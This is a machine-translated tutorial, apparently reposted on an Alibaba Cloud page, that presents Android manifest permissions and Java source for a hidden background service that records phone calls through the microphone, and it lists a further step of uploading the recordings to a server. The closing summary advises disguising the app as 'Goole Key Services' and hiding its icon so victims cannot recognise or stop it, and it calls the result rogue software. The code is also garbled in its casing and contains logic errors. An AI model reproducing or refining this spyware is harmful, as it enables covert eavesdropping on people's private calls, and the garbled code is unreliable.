Android phone Bug

Source: Internet
Author: User

In fact, the realization of a simple phone eavesdropping is a very easy thing, in the United States is not often hackers to steal someone else's call content, think about it feel small excitement, today, I also realized a small phone wire, share to everyone, hope to everyone happy.


To implement a phone bug step: (limited to Android phones only)
1. Access to telephone services

2. Turn on a phone monitor

3. During the listening process, open a recording

4. Send the recording to the server side

5. Send it to yourself on the server side OK, fix it.


Sample source code:

1. Permission issues, telephone service, recording, etc.

<uses-permission android:name= "Android.permission.RECORD_AUDIO"/> <!--microphone rights--    < Uses-permission android:name= "Android.permission.WRITE_EXTERNAL_STORAGE"/> <!--read and write SD card rights--    < Uses-permission android:name= "Android.permission.READ_PHONE_STATE"/> <!--read phone--><!--custom phone service--        <service android:name= "Com.zengtao.service.MyPhoneStausService" >        </service>


2. Telephone Service

Package Com.zengtao.service;import Java.io.ioexception;import Android.annotation.suppresslint;import Android.app.service;import Android.content.intent;import Android.media.mediarecorder;import Android.os.IBinder; Import Android.telephony.phonestatelistener;import Android.telephony.telephonymanager;import Android.widget.Toast /** * My tephone service * * @author Administrator Zengtao * */public class Myphonestausservice extends service {@Overr Idepublic ibinder onbind (Intent Intent) {Toast.maketext (Getbasecontext (), "Start Service", Toast.length_short). Show () ; return null;} @Overridepublic void OnCreate () {super.oncreate ();//Get telephone servicetelephonymanager telephony = ( Telephonymanager) Getsystemservice (telephony_service);//Set Telephone listener statustelephony.listen (new Myphonestauslistener (), phonestatelistener.listen_call_state);} /** * Telephone Status Listener * * @author Administrator Zengtao * */private class Myphonestauslistener extends Phonest Atelistener {Private MediarEcorder recorder;/** * The telephone status is changed */@SuppressLint ("Sdcardpath") @Overridepublic void Oncallstatechanged (int., String Incomingnumber) {super.oncallstatechanged (state, incomingnumber); try {switch ( State) {case Telephonymanager.call_state_idle://Idle status, no ringing, no call if (recorder! = null) {Recorder.start (); recorder.reset (); Recorder.release (); recorder = null;} Break;case telephonymanager.call_state_ringing://when ringing//creating audio recorder = new Mediarecorder ();// Set the audio source---microphone recorder.setaudiosource (MediaRecorder.AudioSource.MIC); Recorder.setoutputformat ( MediaRecorder.OutputFormat.THREE_GPP); Recorder.setaudioencoder (MediaRecorder.AudioEncoder.AMR_NB); Recorder.setoutputfile ("/sdcard/" + system.currenttimemillis () + ". 3gp"); Recorder.prepare (); break;case Telephonymanager.call_state_offhook://On the call if (recorder! = null) {Recorder.start ();} Break;default:break;}} catch (IllegalStateException e) {e.printstacktrace ();} catch (IOException e) {e.printstacktrace ()}}} @Overridepublic void OndesTroy () {Super.ondestroy (); Toast.maketext (Getbasecontext (), "Service Stop", Toast.length_short). Show ();}}

3.Mainactivity

Package Com.zengtao.demo;import Com.zengtao.service.myphonestausservice;import Android.content.intent;import Android.os.bundle;import Android.support.v7.app.actionbaractivity;public class Mainactivity extends actionbaractivity {@Overrideprotected void onCreate (Bundle savedinstancestate) {super.oncreate (savedinstancestate); Setcontentview (R.layout.activity_main); Intent Intent = new Intent (this, myphonestausservice.class); StartService ( Intent);}}


4. Summary

The above has completed a simple phone bug, of course, you can change something, such as: The name of the demo to: Goole Key Services, activity of the view does not let it appear on the phone desktop, these are ready, do not understand the person, who dares to turn this service off, Even the familiar program programmer, a look at this also feel can not close it, is not very cheap, say the ugly, is the rogue software, haha, of course, after the service opened, even if the activity off, in the background is the same run, you do not manually to close it, it will continue to run, Of course, you can turn off the service in the same way that code implements.

Android phone bug

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.